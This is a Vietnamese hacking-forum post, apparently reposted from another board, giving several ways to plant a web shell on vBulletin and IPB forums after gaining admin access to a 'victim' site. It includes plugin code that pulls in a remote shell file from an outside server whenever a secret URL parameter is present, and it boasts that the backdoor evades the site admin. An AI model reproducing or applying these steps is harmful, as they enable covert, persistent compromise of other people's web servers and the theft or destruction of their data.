»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-»

.:hix lâu không làm web.nên giờ lười làm quá.dùng tạm cái Forum việt vậy.chủ yếu là chất lượng Những bài viết thôi đúng không.thật THà là nói hết không giấu diếm nhưng học xong cấm nghịch bậy..http://guichonguoiay.net.tf web mình đó RỖI VÀO CHơi Ha.hjhj:.
 
Trang ChínhPortalCalendarGalleryTrợ giúpTìm kiếmThành viênNhómĐăng kýĐăng Nhập
Thông Tin Cực Sock Cho Những Ai Nghiện Game Audition Của Thái Nguyên.Sau Một Thời Gian Tìm Hiểu Mà Nhờ Mấy Anh Ở forum ClbGame Mình Đã Cài THành Công Bản Audition Offline THái Nguyên.Sắp Tới Mình Sẽ Đưa Lên Online.Các Bạn Muốn Chơi Game Và Muốn Sở Hữu Những Bộ Đồ Đẹp Nhất Không Còn Chần Chừ Gì Nữa Mà Không Click Chuột Để Truy Cập Trang Web wWw.AuTn.tk Để Download Và Thưởng thức

Share | 
 

 Cách up shelll ở IPB, VBB !!!

Go down 
Tác giảThông điệp
Admin
Admin


Tổng số bài gửi : 136
Join date : 13/03/2010

Bài gửiTiêu đề: Cách up shelll ở IPB, VBB !!!   Tue Mar 16, 2010 9:19 pm

Cách up shelll ở IPB, VBB !!!


--------------------------------------------------------------------------------

Thấy bài này của longnhi post bên VN1 cũng hay, rất có ích cho newbie tham khảo, để tránh trường hợp các bạn cứ open topic hỏi các vấn đề này, nên tôi copy nó về HcE.

Anh em nào có cách up shell khác có thể post trong topic này luôn. tks

================================================== =========
upshell thì tùy theo khả năng của mỗi người thôi, cái này nói chung chung hơi khó nhưng mà đối với VBB hay IPB thì tớ có thể giúp. (cái này tớ nói khi đã vào được admincp)

+VBB: thằng này upshell rất đơn giản vào phần add plugin của VBB add thêm plugin mới và trong plugin này chứa đoạn code include shell
Ex:include('link shell');
Chú ý là phải enable cái plugin trước và phải để cái plugin mới add ở chế độ active.

+IPB:Thằng này hiện tại tớ có 3 cách up shell

Cách 1: Cách này rất đơn giản cứ vào trong phần Style manager coi phần Emoticons rồi cứ up con shell php lên là được. Tuy nhiên cách này có hạn chế là đối với các ver >=2.1.7 ko làm được bới vì nó check cái file type.

Cách 2: Cách này up thông qua file xml. Trước hết cần tạo cái file xml.
cái này làm trên host của mình hoặc localhost, vào trong thư mục style_images coi cái thư mục nào mình thích rồi copy con shell vào để đó, sau đó vào phần style manager của mình export cái cái thư mục đó ra thành file xml, sau khi có file xml rồi vào admincp của victim import cái file xml vào khi đó sẽ có shell (cái này nói sơ sơ khó hiểu, muốn up được shell phải chịu khó mày mò thêm).

Cách 3: Cách này private nhưng mà tớ cũng nói ra để mọi người biết chỗ tìm hiểu, thông thường 2 cách trên nhiều khi sẽ gặp rắc rối rất lớn đó là thằng admin nó chmod rất kỹ cho nên mình sẽ ko thể up được shell, cách thứ 3 này sẽ giải quyết được tất cả, thằng admin nó có chmod cỡ nào thì mình vẫn có thể có shell, còn up được con shell lên host của nó ko lại là 1 vấn đề nữa.
Coi kỹ phần MySQL Tool box của nó, chắc chắn sẽ có shell.

Còn nhiều cách up shell khác chủ yếu là khả năng khai thác bug của mỗi người

-- @longnhi - HcE ----





bổ sung:
Vbulletin thì upshell lên với 3 cách:
1. Edit template
2. Thêm Plugin
3. Edit trong database (khỏi cần login vào acp)
Nhưng mà 1+2 thì phải là superadmin mới làm được ! cái này phải edit trong file config.php !

Sau đây là 1 cách include shell đơn giản nói trên:
https://redcdn.net/ihimizer/img278/7906/upshellqm3.jpg

Add New Plugin =>
Hook Location This specifies the location within the vBulletin code of the hook that will fire this plugin function:

Code:

chọn là: cache_template

Plugin PHP Code:

Trích:

{
if($_GET['black']=="vnforce"){
include('http://<server>/shell.txt');
}
}


Sau đó là:
tất cả các file trong forum sẽ dính shell này ! đặc biệt là admin nó có kiếm trong file cũng hông ra đâu
ví dụ:
index.php?black=vnforce
tương tự như các file:
online.php
member.php
...
dính hết ! Nói ra VB dễ up shell hơn IPB đó chứ !



Black_hat_cr(HCE)
Về Đầu Trang Go down
Xem lý lịch thành viên http://itcu.forumvi.com
 
Cách up shelll ở IPB, VBB !!!
Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-» :: Phận Làm Trai Gõ Phím Bình Thiên Hạ--Chí Anh Hùng Click Chuột Định Giang Sơn :: Những điều cơ bản để hack một trang web-
Chuyển đến